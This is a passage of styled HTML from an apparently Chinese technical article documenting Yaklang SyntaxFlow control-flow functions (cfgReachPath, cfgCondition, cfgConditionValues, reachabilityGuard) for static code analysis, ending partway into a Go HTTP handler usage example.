mpa-font-style="mq0kzpg86rg" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mq0l0c931ibl" data-pm-slice="0 0 []"><code><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0l0c8q2431"><span leaf="">3.max_nodes</span></span></code><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0l0c8qycq"><span leaf="">：</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">BFS </span></span><code><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0l0ekt1fns"><span leaf="">seen</span></span></code></span><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0kzpg8fcb"><span leaf="">集合大小超过该值则整次搜索失败，返回空路径。</span></span></span></p></div></div><div><div data-pm-slice="7 9 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><code><span leaf="" mpa-font-style="mq0htn7b188e" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" data-mpa-action-id="mq0htn7k1802" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">2.cfgReachPath</span></span></code></h4></p></div></div></div></div></div></div><div><div data-pm-slice="7 9 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-pm-slice="0 0 []" data-mpa-action-id="mq0kr175ef4" style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span mpa-font-style="mq0kr16s1gl2" style="font-size: 15px;" data-mpa-action-id="mq0krldy10qr" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0krdmr4cz"><span leaf="" mpa-font-style="mq0krldl21qe" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">与 </span></span><span mpa-font-style="mq0krldl23pi" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mq0krgt7dsv" data-pm-slice="0 0 []"><code><span style="letter-spacing: 1px;color: rgb(0, 0, 0);"><span leaf="" mpa-font-style="mq0kro5vvp6" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mq0kro686of" data-pm-slice="0 0 []">cfgReachable</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">相同的起点、终点与 </span></span><code><span leaf="" mpa-font-style="mq0krqnbgl7" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mq0krqno1zlf" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">icfg</span></span></code></span><span style="letter-spacing: 1px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0krdmr1kdg"><span leaf="" mpa-font-style="mq0krldlebi" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> 配置：可达时返回 (函数,块) 链证据字符串，不可达为空。</span></span></span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$callerCfg</span>&lt;<span class="code-snippet__title">cfgReachPath</span>(<span class="code-snippet__attr">target</span>: <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">$calleeCfg</span></span><span class="code-snippet__string">&#34;</span>,<span class="code-snippet__attr"> icfg</span>: <span class="code-snippet__literal">true</span>,<span class="code-snippet__attr"> max_depth</span>: <span class="code-snippet__number">4</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$path</span></span></code></pre></p><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-pm-slice="0 0 []" style="text-align: left;"><span leaf="" style="background-color: rgb(255, 255, 255);outline: 0px;text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">过程内不可达时路径为空，可与 </span></span><code style="background-color: rgb(255, 255, 255);outline: 0px;text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;letter-spacing: 1px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">cfgReachable</span></span></code><span leaf="" style="background-color: rgb(255, 255, 255);outline: 0px;text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 搭配做规则调试输</span></span><span leaf="" style="background-color: rgb(255, 255, 255);outline: 0px;text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">出</span></span><span leaf="" style="background-color: rgb(255, 255, 255);outline: 0px;text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">。</span></span></p><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><code><span leaf="" mpa-font-style="mq0htts71lr7" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" data-mpa-action-id="mq0httsi1dm3" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">3.cfgCondition</span></span></code></h4></p></div></div></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">返回当前基本块上的条件摘要（inst / value / source / schema 等），覆盖 if、switch、loop、merge 继承等场景；无分支条件时可能为空。</span></span></p><pre data-pm-slice="0 0 []"><code data-lark-language="C" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$cfg</span>&lt;<span class="code-snippet__title">cfgCondition</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$cond</span></span></code><br/></pre></p></code><br/></pre><div><div data-pm-slice="7 9 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><code><span leaf="" mpa-font-style="mq0htx0b1yxx" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" data-mpa-action-id="mq0htx0m3pw" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">4.cfgConditionValues</span></span></code></h4></p></div></div></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">与 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cfgCondition</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 同源摘要，但直接给出条件关联的 SSA value 列表。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$cfg</span>&lt;<span class="code-snippet__title">cfgConditionValues</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$v</span></span></code></pre></p><div><div data-pm-slice="7 9 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><code><span leaf="" mpa-font-style="mq0hu0m61ba9" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" data-mpa-action-id="mq0hu0mg1sjh" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">5.reachabilityGuard</span></span></code></h4></p></div></div></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">从函数入口出发，判断 </span></span><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">target</span></span></code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 是否在 mustExecute 意义下必执行（</span></span><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">mode</span></span></code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 目前仅 </span></span><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">mustExecute</span></span></code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">）。</span></span></p><p style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">返回值（三种）</span></span></p><p style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">1.入口全路径必达且后支配成立 → 布尔 </span></span><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">true</span></span></code></p><p style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">2.入口 CFG 不可达 target → </span></span><code><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">false</span></span></code></p><p style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">3.否则 → 到达 target 路径上的条件 SSA value 列表（嵌套 if/loop 可能多项）</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$from</span>&lt;<span class="code-snippet__title">reachabilityGuard</span>(target=<span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">$to</span></span><span class="code-snippet__string">&#34;</span>, mode=<span class="code-snippet__string">&#34;mustExecute&#34;</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$guard</span></span></code></pre></p><div><div data-pm-slice="7 9 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mq0hud5b24kn" style="font-size: 14px;" data-mpa-action-id="mq0hud5m1ibl" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">6.使用案例</span></span></h4></p></div></div></div></div></div></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">id := r.<span class="code-snippet__property">URL</span>.<span class="code-snippet__title">Query</span>().<span class="code-snippet__title">Get</span>(<span class="code-snippet__string">&#34;id&#34;</span>)</span></code><br/><code><span leaf="">tenant := r.<span class="code-snippet__property">URL</span>.<span class="code-snippet__title">Query</span>().<span class="code-snippet__title">Get</span>(<span class="code-snippet__string">&#34;tenant&#34;</span>)</span></code><br/><code><span leaf="">role := r.<span class="code-snippet__property">Header</span>.<span class="code-snippet__title">Get</span>(<span class="code-snippet__string">&#34;X-Role&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 过滤 1：ID 格式</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> !<span class="code-snippet__title">filterValidateID</span>(<span class="code-snippet__params">id</span>) {</span></code><br/><code><span leaf="">    http.<span 